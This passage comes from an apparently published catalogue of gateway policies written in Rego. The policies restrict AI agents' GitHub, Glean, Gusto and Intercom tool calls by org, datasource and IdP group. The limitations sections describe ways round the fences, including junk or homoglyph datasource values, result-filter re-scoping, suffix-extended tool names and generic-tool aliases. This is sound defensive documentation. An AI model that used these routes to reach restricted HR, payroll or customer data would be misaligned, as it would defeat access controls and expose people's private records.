ships with placeholder logins (`acme-inc`, `acme-labs`). Replace them with your real org login(s) at import time; a stale or empty allowlist denies every owner-bearing call. - **Argument casing is version-dependent for other fields** (e.g. the PR-number parameter), but `owner` is stable across the official and archived servers per the landscape note. Verify against your live `tools/list` before relying on any other argument. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package github.ingress.fence_scopes_org_allowlist # Deny-by-default: a call is permitted only by an explicit allow rule below. default allow := false # --- Per-tenant configuration ------------------------------------------------ # Company GitHub org logins the agent channel is permitted to touch. Pin this # to YOUR org login(s) at import time. GitHub logins are case-insensitive, so # keep every entry lowercase — the policy lower-cases the incoming `owner` # before comparing. A stale or empty allowlist denies every owner-bearing call. company_orgs := { "acme-inc", "acme-labs", } # --- Owner resolution -------------------------------------------------------- # Raw owner argument; "" when the argument is absent. owner_arg := object.get(input.payload.args, "owner", "") # The call carries an owner when the argument is present and non-empty. # (A non-string owner, e.g. a number or object, is still "present" here and is # handled as off-list below — the policy fails closed on malformed shapes.) has_owner if { owner_arg != "" } # Canonical owner login for allowlist comparison: trimmed + lower-cased. # Only defined when `owner` is a string; a present-but-non-string owner leaves # this undefined, so it never matches the allowlist and is denied. canonical_owner := lower(trim_space(owner_arg)) if { is_string(owner_arg) } # True only when the resolved owner is a sanctioned company org. owner_on_allowlist if { company_orgs[canonical_owner] } # --- Allow rules ------------------------------------------------------------- # Ownerless calls are already scoped by the OAuth grant (e.g. get_me, or # search_code with only a `q` string) — nothing to fence. allow if { not has_owner } # Owner is present and resolves to a sanctioned company org. allow if { has_owner owner_on_allowlist } # --- Deny reason ------------------------------------------------------------- # Names the offending owner and points the agent back to the sanctioned org. reasons contains msg if { has_owner not owner_on_allowlist msg := sprintf("GitHub access is fenced to your company org allowlist. Owner '%v' is not a sanctioned org, so this call is blocked to keep source code inside the company boundary. Re-target the call at a repository your company org owns, or ask your InfoSec team to add '%v' to the allowlist if it is legitimately in scope.", [owner_arg, owner_arg]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Glean Search by Datasource URL: https://www.intentbasedpolicy.com/policies/glean/fence-datasource-scope App(s): glean | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: glean.ingress.fence_datasource_scope | Published: 2026-07-12 | Tags: glean, fence-sensitive-scopes, access-control, datasource, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/glean/fence-datasource-scope/policy.md # glean / fence-datasource-scope **Direction:** ingress (`tool_pre_invoke`) **Default:** deny; explicit allows for non-fenced tools and cleared calls **Package:** `glean.ingress.fence_datasource_scope` ## What it does Glean's `search` tool fans out across every system the tenant has indexed (Drive, Confluence, Slack, Jira, Gmail/Outlook, GitHub, Salesforce, Gong, HR systems…). This policy restricts **which indexed datasource a `search` call may target** by inspecting the call's `app` argument — the datasource enum (`gong`, `salescloud`, `confluence`, `gdrive`, `slack`, `jira`, `github`, `gmail`, `o365sharepoint`, …). Calls targeting a **restricted datasource** are denied unless the caller's IdP groups include the group cleared for that source. The shipped (placeholder) mapping is: | Datasource (`app` value) | What it holds | Required IdP group | |---|---|---| | `gong` | Call recordings / conversation intelligence | `sales` | | `salescloud` | Salesforce CRM | `revops` | | `workday`, `bamboohr` (HR datasources) | HR / people records | `hr` | When the `app` argument is **absent**, the search fans out across every indexed system at once, so an unscoped query is treated like a query that can reach all restricted sources: it is allowed only for a caller cleared for **every** restricted datasource, and otherwise denied with a reason directing the caller to pass an explicit `app`. Every other tool — `chat`, `read_document`, `code_search`, `employee_search`, `gmail_search`, `meeting_lookup`, `memory`, and all non-Glean tools — passes through this policy untouched. Because `chat` accepts only free text with no filterable datasource field, this ingress fence covers `search` only and must be paired with the egress redaction policy to cover `chat` (see Composition). ## Identity gating Clearance is granted per datasource via IdP group membership read from `input.subject.claims.groups` through `object.get(...)` chains, so a missing subject, missing claims, or a missing/malformed `groups` claim **fails closed**: no matching group means no access to the restricted datasource. The `groups` claim must be an array of strings; any other shape yields no memberships. Group names are compared case-insensitively. ## Compliance alignment This policy instantiates sensitive-scope fencing (family PF-23) on Glean's cross-source search path and supports alignment with: - **SOC 2 C1.1, P4.1** — identifies and protects confidential information and limits personal-information use by fencing designated datasources (Gong call data, Salesforce CRM, HR systems) out of agent search unless the caller's role grants it. - **HIPAA §164.502(b)/§164.514(d), §164.308(a)(4)** — minimum-necessary and information-access-management: an agent cannot trawl HR datasources over MCP unless the caller's role clears it; **§164.522(a)** — supports agreed-to restrictions expressed as datasource-level fences. - **PCI DSS 7.2.6** — supports restricting programmatic (agent) query access to stored data that may include account data (e.g. the Salesforce CRM datasource) by IdP role. - **GDPR Art. 9; CPRA §1798.121** — keeps special-category / sensitive personal information held in HR and CRM datasources out of agent result sets; **Art. 5(1)(b)** — supports purpose limitation by keying datasource access to the caller's team. ## Why ingress The target datasource is fully determined by the request alone (tool name, the `app` argument, caller claims), so enforcement happens before the call reaches Glean and restricted content is never fetched into the model context. For defense in depth, pair with an egress redaction policy as a backstop for content reached by paths this policy does not cover (notably `chat`). ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `glean-search`), and the prefix is not standardized, so the policy matches case-insensitively. Glean's remote server names its search tool the bare word `search`, which collides with other servers' `search` tools and with Glean's own `code_search` / `employee_search` / `gmail_search` / `outlook_search`. To avoid mis-matching those, the policy matches **only**: - the exact tool name `search`, or - any name ending in `-search` (e.g. `glean-search`, `glean-mcp-search`). This deliberately excludes the `_search` sibling tools (they take no `app` argument and are governed by companion policies). It also means the policy should be attached to the **Glean gateway/pipeline only** — on a Glean-only pipeline the sole `-search`/`search` tool is Glean's. Verify the exact name your gateway emits with the dump-input debug technique before relying on this in production. The deprecated local server exposed search as `company_search` (a `_search` name, so **not** matched); add it only if a tenant still runs the archived package. ## Argument shape The datasource is read from `input.payload.args.app` (verified from Glean's `search` parameter list). The value is normalized with `lower`/`trim_space` and compared against the restricted set. Both shapes are handled defensively: - a single string (`"app": "gong"`), and - an array of strings (`"app": ["gdrive", "gong"]`) — a call is denied if **any** entry names a restricted datasource the caller is not cleared for. An empty, missing, or non-string `app` (and an array of only empty strings) is treated as an **unscoped** query and fails closed as described above. ## Configuration Edit the `restricted_sources` object at the top of the Rego. The datasource keys (`gong`, `salescloud`, `workday`, `bamboohr`) map to the required IdP group. `gong` and `salescloud` are Glean's documented enum values; the HR entries (`workday`, `bamboohr`) are **placeholders** — replace them with the exact `app` enum values your tenant's HR systems are indexed under, and remap the groups (`sales`, `revops`, `hr`) to your IdP's group names at import time. ## Examples ### Allowed (search scoped to a non-restricted datasource) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-search", "type": "tool" }, "payload": { "name": "glean-search", "args": { "query": "deploy runbook", "app": "confluence" } } } } ``` `allow = true`, no reason. ### Allowed (restricted datasource, caller cleared) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-search", "type": "tool" }, "subject": { "sub": "auth0|rep", "claims": { "groups": ["sales"] } }, "payload": { "name": "glean-search", "args": { "query": "acme renewal", "app": "gong" } } } } ``` `allow = true`, no reason. ### Denied (restricted datasource, caller not cleared) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-search", "type": "tool" }, "subject": { "sub": "auth0|eng", "claims": { "groups": ["engineering"] } }, "payload": { "name": "glean-search", "args": { "query": "pipeline", "app": "salescloud" } } } } ``` `allow = false`, `reason = "This Glean search targets restricted datasource(s) (salescloud) …"`. ### Denied (unscoped search, caller not cleared for all restricted sources) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "glean-search", "type": "tool" }, "payload": { "name": "glean-search", "args": { "query": "compensation" } } } } ``` `allow = false`, `reason = "This Glean search has no `app` datasource filter, …"`. ## Composition This policy covers the datasource-scoped `search` surface. Useful companions: - An **egress redaction** policy on `search` / `chat` / `read_document` responses so PII/CHD that is reached by paths this fence does not cover (notably free-text `chat`) is masked before it reaches the agent context. - A `meeting_lookup` transcript-extraction fence and a mailbox-search restriction for the other sensitive Glean read tools. - A default-deny-unknown-tools policy (PF-28) for Glean's admin-mutable tool inventory (agents-as-tools, gateway-proxied writes). ## Known limitations - **`chat` is not fenceable here.** `chat` takes only free text with no datasource argument, so it can reach any indexed system regardless of this policy. It is intentionally passed through and must be covered by the egress redaction backstop. - **Sibling read tools are out of scope by design.** `code_search`, `employee_search`, `gmail_search`, `outlook_search`, `meeting_lookup`, `read_document`, and `user_activity` reach sensitive data but do not take the `app` datasource argument, so this policy does not fence them (the tool-name match excludes `_search` names). Govern them with the companion policies listed above. - **`dynamic_search_result_filters` is a bypass residual.** Glean's `search` also accepts a structured result-filter argument that can re-scope results by datasource. A caller could in principle set a benign `app` (or none) and steer results toward a restricted source through that filter. Its per-tenant schema is not documented, so this policy does not parse it; rely on the egress redaction backstop and cap/strip that argument with a separate transform if your tenant exposes it. - **Denylist, not allowlist — an unrecognized `app` value is not fenced.** A scoped call is denied only when `app` names a *restricted* source the caller lacks; any other non-empty string (a real but non-restricted datasource, **or a value the enum does not define**) is treated as a benign scoped query and allowed. Glean's behavior on an unrecognized `app` value is **unverified**: if Glean validates the enum and errors, there is no exposure; but if it silently ignores the value and fans out across all sources, a non-privileged caller could pass a junk `app` (e.g. `app: "everything"`) to reach restricted datasources while still setting `app_present`, sidestepping the unscoped-search guard. The same gap covers **obfuscated look-alikes**: a homoglyph or otherwise-encoded value (e.g. `gong` spelled with a Greek omicron) is a distinct, unrecognized string that `lower`/`trim_space` do not fold to the restricted key, so it is treated as a benign scoped query — though Glean's own enum will not resolve it either, so this yields no exposure beyond the fan-out case above. Do not rely on this fence alone against that case: keep the egress redaction backstop, and if you can enumerate your tenant's datasource enum, convert `restricted_sources` handling to an allowlist (treat any `app` outside the known set as unscoped/fail-closed) at import time. - **Bulk-export flags are not capped here.** `exhaustive` and `num_results` (up to 500) enable bulk pulls; this policy fences *which* datasource, not *how much*. Pair with a transform policy that caps `num_results` and strips `exhaustive` if bulk export is a concern. - **HR datasource names are placeholders.** Only the configured `app` enum values (`workday`, `bamboohr` by default) are treated as HR; a restricted HR system indexed under a different `app` value is not caught until you add it to `restricted_sources`. - **Tool-name portability.** Bare `search` and any `-search` suffix match, so attach this to the Glean pipeline only — a non-Glean server whose tool is named `…-search` would otherwise be fenced too. Confirm the exact gateway tool name with the dump-input technique. The match also depends on the gateway joining the server prefix to the tool with a **hyphen** (`glean-search`, the DTwo convention). If a deployment instead joins with an underscore, the search tool is emitted as `glean_search`, which ends in `_search` and is deliberately excluded (that suffix is how the sibling `code_search`/`gmail_search`/`employee_search` tools are skipped) — so the fence would silently pass the search tool through. Broadening the match to `_search` is not an option (it would blanket-deny every no-`app` sibling search); verify your gateway emits a hyphen-joined name before relying on this fence. - **Identity placeholders.** Group names are placeholders — replace `sales`, `revops`, and `hr` with your IdP's group names at import time. The `groups` claim must be an array of strings; any other shape fails closed. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package glean.ingress.fence_datasource_scope # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # ----------------------------------------------------------------------------- # CONFIG: restricted Glean datasource (`app` enum value) -> IdP group cleared # to search it. `gong` and `salescloud` are Glean's documented enum values; # the HR entries are PLACEHOLDERS — replace them with the exact `app` values # your HR systems are indexed under, and remap the groups (sales, revops, hr) # to your IdP's group names at import time. Keys must be lowercase. # ----------------------------------------------------------------------------- restricted_sources := { "gong": "sales", "salescloud": "revops", "workday": "hr", "bamboohr": "hr", } # ----------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP # server name. Glean's search tool is the bare word `search`, which collides # with other `search` tools and with Glean's own `code_search` / # `employee_search` / `gmail_search` (all `_search`). We match ONLY the exact # name `search` or a `-search` suffix so those `_search` siblings are excluded. # Attach to the Glean pipeline only. Verify with the dump-input technique. # ----------------------------------------------------------------------------- tool_name := lower(input.resource.name) is_glean_search_tool if tool_name == "search" is_glean_search_tool if endswith(tool_name, "-search") # ----------------------------------------------------------------------------- # Identity — caller's IdP groups, read fail-closed: a missing subject, missing # claims, or a missing/malformed groups claim yields no memberships, so the # caller is never treated as cleared by accident. # ----------------------------------------------------------------------------- caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) member_of(group) if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) == group } # Required to run an UNSCOPED search (no `app`): it fans out across every # indexed system, so the caller must be cleared for ALL restricted sources. caller_in_all_restricted_groups if { every _, group in restricted_sources { member_of(group) } } # ----------------------------------------------------------------------------- # Arguments — the datasource(s) the search targets. Handles both a single # string (`"app": "gong"`) and an array (`"app": ["gdrive", "gong"]`). Empty # or non-string values contribute nothing, so a missing/blank `app` leaves # requested_apps empty and is treated as an unscoped query (fail-closed). # ----------------------------------------------------------------------------- req_args := object.get(object.get(input, "payload", {}), "args", {}) app_raw := object.get(req_args, "app", "") requested_apps contains a if { is_string(app_raw) a := lower(trim_space(app_raw)) a != "" } requested_apps contains a if { is_array(app_raw) some x in app_raw is_string(x) a := lower(trim_space(x)) a != "" } app_present if count(requested_apps) > 0 # Restricted datasources the call targets that the caller is NOT cleared for. denied_apps contains a if { some a in requested_apps group := object.get(restricted_sources, a, "") group != "" not member_of(group) } # ----------------------------------------------------------------------------- # Allow rules # ----------------------------------------------------------------------------- # Any tool this policy does not fence passes through (chat, read_document, # the *_search siblings, memory, all non-Glean tools). allow if { not is_glean_search_tool } # Search scoped to an explicit datasource: allowed unless it names a restricted # source the caller is not cleared for. allow if { is_glean_search_tool app_present count(denied_apps) == 0 } # Unscoped search (no `app`): fans out across every source, so only a caller # cleared for ALL restricted datasources may run one. allow if { is_glean_search_tool not app_present caller_in_all_restricted_groups } # ----------------------------------------------------------------------------- # Reasons # ----------------------------------------------------------------------------- reasons contains msg if { is_glean_search_tool app_present count(denied_apps) > 0 src_list := concat(", ", sort([a | some a in denied_apps])) msg := sprintf("This Glean search targets restricted datasource(s) (%s) your account is not cleared for. Search a datasource you have access to, or contact your InfoSec team if your role requires that source.", [src_list]) } reasons contains "This Glean search has no `app` datasource filter, so it fans out across every indexed system, including restricted ones (Gong call recordings, Salesforce CRM, HR). Pass an explicit `app` naming the datasource you need, or contact your InfoSec team if you need broader search access." if { is_glean_search_tool not app_present not caller_in_all_restricted_groups } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Gusto Compensation & Payroll Reads URL: https://www.intentbasedpolicy.com/policies/gusto/fence-comp-payroll-reads App(s): gusto | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: gusto.ingress.fence_comp_payroll_reads | Published: 2026-07-12 | Tags: gusto, fence-hr-and-credit-scope, compensation, payroll, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/gusto/fence-comp-payroll-reads/policy.md # gusto / fence-comp-payroll-reads **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on the fenced read tools, allow otherwise **Package:** `gusto.ingress.fence_comp_payroll_reads` ## What it does Denies the highest-sensitivity Gusto read tools unless the caller's IdP-asserted groups include the placeholder group `hr-payroll-admins`. Every other Gusto tool (company/org lookups, employee directory reads, time tracking, utility tools) passes through unchanged. The fenced tools cover four need-to-know payroll surfaces: - **Salary / compensation:** `get_compensation`, `list_job_compensations` - **Full pay register:** `get_payroll`, `list_company_payrolls` - **Contractor financials:** `list_company_contractor_payments`, `get_contractor_payment`, `list_company_contractor_payment_groups`, `get_contractor_payment_group` - **Employment-action reads:** `list_employee_terminations`, `get_employee_rehire` Group membership is read with `object.get(input.subject, "claims", {})` and the policy **fails closed**: a caller with no `groups` claim (or no `subject` at all) is treated as not exempt, so the read is denied. This narrows the agent channel to need-to-know payroll data (least-privilege logical access) without touching the web-UI or native-API paths, which the gateway cannot see. ## Why ingress and not egress These tools return regulated data on the way back, but the cheapest and most robust control is to stop the call before it reaches Gusto: an ingress deny means the salary/pay-register data is never fetched over the agent channel, so there is no response to redact and no partial-leak window. Egress redaction of a pay register is brittle (many nested numeric fields) and still incurs the upstream read. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets by fencing the most sensitive payroll reads behind an IdP-group check; **CC6.3** — supports role-based access / least privilege by restricting compensation and pay-register reads to a dedicated HR-payroll group. - **SOX — ITGC access to programs & data** — supports least-privilege access to financial systems (the payroll register is financial data feeding compensation expense) by gating the pay-register and contractor-payment reads to an authorized group; **SoD (COSO Principle 10)** — keeps broad agent identities out of the compensation surface. - **GDPR Art. 5(1)(b)** — supports purpose limitation by keeping compensation and employment-action data on a need-to-know footing on the agent channel; **Art. 22 / CCPA 11 CCR §7200 (ADMT)** — supports scoping the employment data (compensation, terminations, rehire) that could feed automated decision-making so it is reachable only by the HR-payroll role. (This is the Annex III employment-data fencing pattern for the MCP path.) ## Tool name matching Matching is case-insensitive on `lower(input.resource.name)` using `endswith` against the verified official snake_case tool names (from the Gusto MCP docs). The gateway prefixes tool names with the configured MCP server name (e.g. `gusto-mcp-get_payroll`), and that prefix is not standardized — suffix matching keeps the policy portable and survives a server prefix that itself contains `gusto` mid-name. Because Gusto's official server puts no vendor prefix on most tools and only carries `gusto` mid-name on two unrelated tools (`list_gusto_companies`, `get_gusto_employee`), anchoring on the full official suffix is the safe choice. Fenced suffixes: `get_compensation`, `list_job_compensations`, `get_payroll`, `list_company_payrolls`, `list_company_contractor_payments`, `get_contractor_payment`, `list_company_contractor_payment_groups`, `get_contractor_payment_group`, `list_employee_terminations`, `get_employee_rehire`. ## Argument shape This policy inspects only the tool **name** and the caller's identity claims — it does not read `input.payload.args`, so it is immune to argument-key drift. Add companion policies (see below) if you also need to clamp `per`/`include` on the list tools it does allow. ## Identity Uses `input.subject.claims.groups`, read via `object.get` chains so a missing claim fails closed. The required group name `hr-payroll-admins` is a **placeholder** — see Known limitations. ## Examples ### Allowed — non-fenced read ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-list_company_employees", "type": "tool" }, "payload": { "name": "gusto-mcp-list_company_employees", "args": { "per": 25 } } } } ``` `allow = true`, no reason. ### Allowed — fenced read by an HR-payroll admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-get_payroll", "type": "tool" }, "payload": { "name": "gusto-mcp-get_payroll", "args": { "payroll_uuid": "abc" } }, "subject": { "claims": { "groups": ["hr-payroll-admins"] } } } } ``` `allow = true`, no reason. ### Denied — fenced read, no HR-payroll group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-get_compensation", "type": "tool" }, "payload": { "name": "gusto-mcp-get_compensation", "args": { "employee_uuid": "e1" } }, "subject": { "claims": { "groups": ["engineering"] } } } } ``` `allow = false`, `reason` names the `hr-payroll-admins` group. ## Composition Single-purpose. Useful companions on a Gusto pipeline: - **`cap-bulk-export` (PF-08)** — clamp `per` and strip `include=custom_fields` on the directory list tools this policy still allows, throttling full-roster exfiltration. - **An egress financial-identifier redactor (PF-02)** — mask SSN/bank/routing patterns from any Gusto-server response, covering community/aggregator servers that surface bank data the official server does not. - **`deny-writes` (PF-12/PF-09)** — deny `create_*`/`update_*`/`delete_*` suffixes; a no-op on today's read-only official server but a guard against StackOne-style aggregators. ## Known limitations - **Group names are placeholders — replace `hr-payroll-admins` with your IdP's group name at import time.** The policy will deny every fenced read until the group name matches what your IdP actually emits in the `groups` claim. - **`groups` claim shape.** The policy expects `groups` to be a JSON array of strings (per the DTwo identity schema). If your IdP emits group membership as a space-separated string or under a namespaced claim (e.g. `https://acme.com/groups`), no member ever matches and every fenced read is denied (fail-closed) — adjust the claim path before import. - **Official-server names only.** Suffixes are the verified official snake_case names. Community servers use kebab-case (`get-payrolls`, `get-payroll`) and StackOne uses aggregated `hris_*`-style names (unverified); this policy does **not** match those. Wire per-server pipelines with a matching name list if you front Gusto through a non-official server. - **Suffix matching breadth (false positives).** `endswith` on a bare suffix like `get_payroll` would also match a hypothetical unrelated tool whose name ends in that string. The official Gusto inventory has no such collision today; re-check if you add servers. - **Suffix-extension evasion (false negatives).** `endswith` fences a tool only when a listed name is the *tail* of the tool name. A server that appends text after a fenced base — a versioned or renamed variant such as `get_payroll_v2` or `get_compensation_history`, or an aggregator verb like `get_employee_compensation` — is **not** fenced and passes through, exposing equivalent salary/pay data. The official Gusto inventory has no such name today, but re-audit the tool list whenever you add or upgrade a Gusto MCP server, and pin an explicit per-server name list for community/aggregator servers rather than relying on the official suffixes. Trailing whitespace or a trailing newline (`get_payroll\n`) is a degenerate case of the same class — it is *appended* text, so `endswith` no longer matches and the read passes through. This is not exploitable on a real gateway (the MCP router only dispatches a call whose name exactly matches a registered tool, so a whitespace-padded name never reaches the upstream `get_payroll`), but the isolated tests lock the behavior so a future refactor cannot regress it silently. - **Argument shapes unverified.** Entity-ID args shown in examples (`payroll_uuid`, `employee_uuid`, etc.) mirror the Gusto Embedded API but were not individually verified from the official tool schemas; this policy does not depend on them. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gusto.ingress.fence_comp_payroll_reads # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Highest-sensitivity Gusto read tools, matched by suffix. These are the verified # official snake_case names from the Gusto MCP docs. Grouped by surface: # salary/compensation, full pay register, contractor financials, employment actions. fenced_read_tools := [ "get_compensation", "list_job_compensations", "get_payroll", "list_company_payrolls", "list_company_contractor_payments", "get_contractor_payment", "list_company_contractor_payment_groups", "get_contractor_payment_group", "list_employee_terminations", "get_employee_rehire", ] # Placeholder IdP group; replace with your tenant's group name at import time. required_group := "hr-payroll-admins" # True when the request targets one of the fenced high-sensitivity reads. Matching is # case-insensitive and by suffix so it survives the gateway's server-name prefix # (including a prefix that contains `gusto` mid-name). is_fenced_read if { name := lower(input.resource.name) some tool in fenced_read_tools endswith(name, tool) } # Caller's IdP-asserted groups. Read via object.get chains so a missing `subject`, # missing `claims`, or missing `groups` yields an empty list rather than erroring — # the exemption below then never fires, so the read fails closed (denied). caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) is_exempt if { some g in caller_groups g == required_group } # Allow any tool that is not a fenced high-sensitivity read. allow if { not is_fenced_read } # Allow a fenced read only for callers in the HR-payroll group. allow if { is_fenced_read is_exempt } reasons contains "This Gusto tool exposes compensation, payroll, or employment-action data and is limited to members of the 'hr-payroll-admins' group. Route salary and pay-register questions through an HR-scoped pipeline instead. If your role should already carry this access, ask your IdP administrator to add you to the 'hr-payroll-admins' group." if { is_fenced_read not is_exempt } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Intercom Contact & Company PII Reads URL: https://www.intentbasedpolicy.com/policies/intercom/fence-contact-reads App(s): intercom | Direction: ingress | Bundles: soc2, hipaa, pci-dss, gdpr-ccpa | Package: intercom.ingress.fence_contact_reads | Published: 2026-07-12 | Tags: intercom, fence-sensitive-scopes, contact-reads, pii, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/intercom/fence-contact-reads/policy.md # intercom / fence-contact-reads **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the structured-PII read surface for callers outside a support/CRM group; allow everything else **Package:** `intercom.ingress.fence_contact_reads` ## What it does Gates Intercom's structured-PII read surface — customer **contact** and **company** profiles — by IdP group. A caller whose JWT groups do not include a documented support/CRM group is denied access to: - `*get_contact` — full PII profile (email, phone, location, activity timestamps, custom attributes) - `*search_contacts` — contact search, including the email-**domain** enumeration path - `*get_company` — full company record - `*list_companies` — company listing - the generic `*search` tool **when `object_type == "contacts"`** — the connector-convention alias for `search_contacts` - the generic `*fetch` tool **when the target ID is `contact_…` or `company_…`-prefixed** — the connector-convention alias for `get_contact` / `get_company` Every other tool call passes through: conversation reads (`*get_conversation`, `*search_conversations`, `*search` with `object_type: "conversations"`, `*fetch` of a `conversation_…` ID), Help Center article tools, and any non-Intercom tool. Analytics and other non-support roles therefore keep conversation access but are steered away from raw customer profiles — enforcing minimum-necessary and least-privilege on the agent channel. The check runs at ingress, before the call reaches the Intercom MCP server, so a denied read never executes and no contact PII is returned to the agent. ### Why both the typed and generic paths are covered The contacts read surface is reachable two ways. A rule that only named `search_contacts` / `get_contact` would be trivially bypassed by calling the generic `search` with `object_type: "contacts"`, or the generic `fetch` with a `contact_`-prefixed ID. This policy fences the typed tools **and** both generic aliases so neither path leaks. ## Compliance alignment - **SOC 2 C1.1** — supports identifying and protecting confidential information by restricting the customer-profile read surface to roles that need it; **P4.1** — supports limiting personal-information use to identified purposes (support/CRM), keeping customer profiles out of analytics and other roles' reach. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard by scoping structured-PII reads to the support/CRM workforce; **§164.308(a)(4)** — supports information-access management (role-based authorization of access to protected data); **§164.522(a)** — supports enforcing agreed-to access restrictions on the agent channel. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored account data by role, where contact custom attributes carry plan/billing metadata; **7.2.1** — supports the least-privilege access model on the agent channel. - **GDPR Art. 9** — supports guarding special-category-adjacent profile data behind a role gate; **Art. 5(1)(b)** — supports purpose limitation (profiles reachable only for support/CRM purposes); **CCPA/CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing the profile surface. ## Tool name matching Tool names are matched **case-insensitively by suffix** on `input.resource.name`, because the DTwo gateway prefixes every tool with the configured MCP server name (e.g. `intercom-get_contact`) and that prefix is not standardized: - `endswith(name, "get_contact")`, `endswith(name, "search_contacts")`, `endswith(name, "get_company")`, `endswith(name, "list_companies")` — the typed surface. - `endswith(name, "search")` — the generic search tool. Only fenced when the `object_type` argument (trimmed + lower-cased) **starts with** `contact` — this catches `contacts`, the singular alias `contact`, and whitespace-padded `"contacts "`, while `conversations` (which does not start with `contact`) passes through. Note `search_contacts` ends in `contacts`, not `search`, so it is caught by its own typed rule, not this one. - `endswith(name, "fetch")` — the generic fetch tool. Only fenced when the `id` argument (lower-cased) **contains** a `contact_` or `company_` token — a bare prefixed ID (`contact_123`) or a workspace URL that embeds one (`…/users/contact_123`) are both caught. See Known limitations for the bare-URL (no embedded token) residual. All six tool names (`get_contact`, `search_contacts`, `get_company`, `list_companies`, `search`, `fetch`) are **verified** against Intercom's developer docs and the Speakeasy governance catalog per the app landscape note. ## Argument shape - Generic `search`: reads `object.get(input.payload.args, "object_type", "")`, lower-cases and `trim_space`s it, then checks it starts with `contact`. If `object_type` is present but **not a string** (an array/number/object), the call is fenced (fail closed) rather than slipping through — see below. - Generic `fetch`: reads `object.get(input.payload.args, "id", "")`, lower-cases it, and checks whether it contains a `contact_` / `company_` token (so an embedded-in-URL prefixed ID is caught, not only a bare prefix). If `id` is present but **not a string**, the fetch is fenced (fail closed). ## Identity gate Authorization reads the caller's IdP groups: `object.get(object.get(input.subject, "claims", {}), "groups", [])`. A caller is authorized only if at least one of those groups is in `allowed_groups` (placeholder: `{"support", "crm"}`). The gate **fails closed**: a caller with no `groups` claim (or no `subject`/`claims` at all) has an empty group list, matches no allowed group, and is denied the PII surface. ## Examples ### Allowed — support-group caller reads a contact ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-get_contact", "type": "tool" }, "subject": { "claims": { "groups": ["support"] } }, "payload": { "name": "intercom-get_contact", "args": { "id": "contact_123" } } } } ``` `allow = true`. ### Allowed — analytics caller reads a conversation ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-search", "type": "tool" }, "subject": { "claims": { "groups": ["analytics"] } }, "payload": { "name": "intercom-search", "args": { "object_type": "conversations", "query": "state=open" } } } } ``` `allow = true` — conversation access is unaffected. ### Denied — non-support caller enumerates contacts via the generic search alias ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-search", "type": "tool" }, "subject": { "claims": { "groups": ["analytics"] } }, "payload": { "name": "intercom-search", "args": { "object_type": "contacts", "query": "email~@acme.com" } } } } ``` `allow = false`, with the role-gate reason. ## Composition This policy is single-purpose (role-gate the contact/company read surface). Useful companions: - **Egress custom-attribute strip** on `*get_contact` / `*search_contacts` / `*fetch` contact responses — remove billing/tier `custom_attributes` even for authorized callers. - **Egress PII/PAN redaction** on `*get_conversation` / `*search` / `*fetch` conversation bodies, since conversations remain readable here and carry raw customer free-text. - **`cap-bulk-export`** to clamp `limit` / `per_page` on the searches this policy still allows for authorized callers. ## Known limitations - **Group names are placeholders — replace `support` / `crm` in `allowed_groups` with your IdP's group name at import time.** The gate only works when the gateway has an IdP configured and the caller's JWT carries a `groups` claim. - **Single-token community servers expose no per-user identity.** Community Intercom servers (e.g. `raoulbia-ai/mcp-server-for-intercom`, `fabian1710/mcp-intercom`) authenticate with a single workspace-wide `INTERCOM_ACCESS_TOKEN` and expose no per-user identity, so this group gate only functions when the caller identity reaches the gateway via IdP claims. Those servers also do not expose `get_contact` / `get_company`, so the typed rules simply never match there. - **`fetch` bare-URL (no embedded prefix token) residual.** The generic `fetch` tool takes a prefixed ID or an Intercom URL, under the `id` argument (the OpenAI/Anthropic connector convention). The rule now fences any `id` value that **contains** a `contact_`/`company_` token, so a workspace URL that embeds the prefixed ID (`…/users/contact_123`) is caught. A URL that references the resource **only** by a bare numeric ID with no `contact_`/`company_` token (or that passes the target under a different argument key) is **not** detected and will pass through 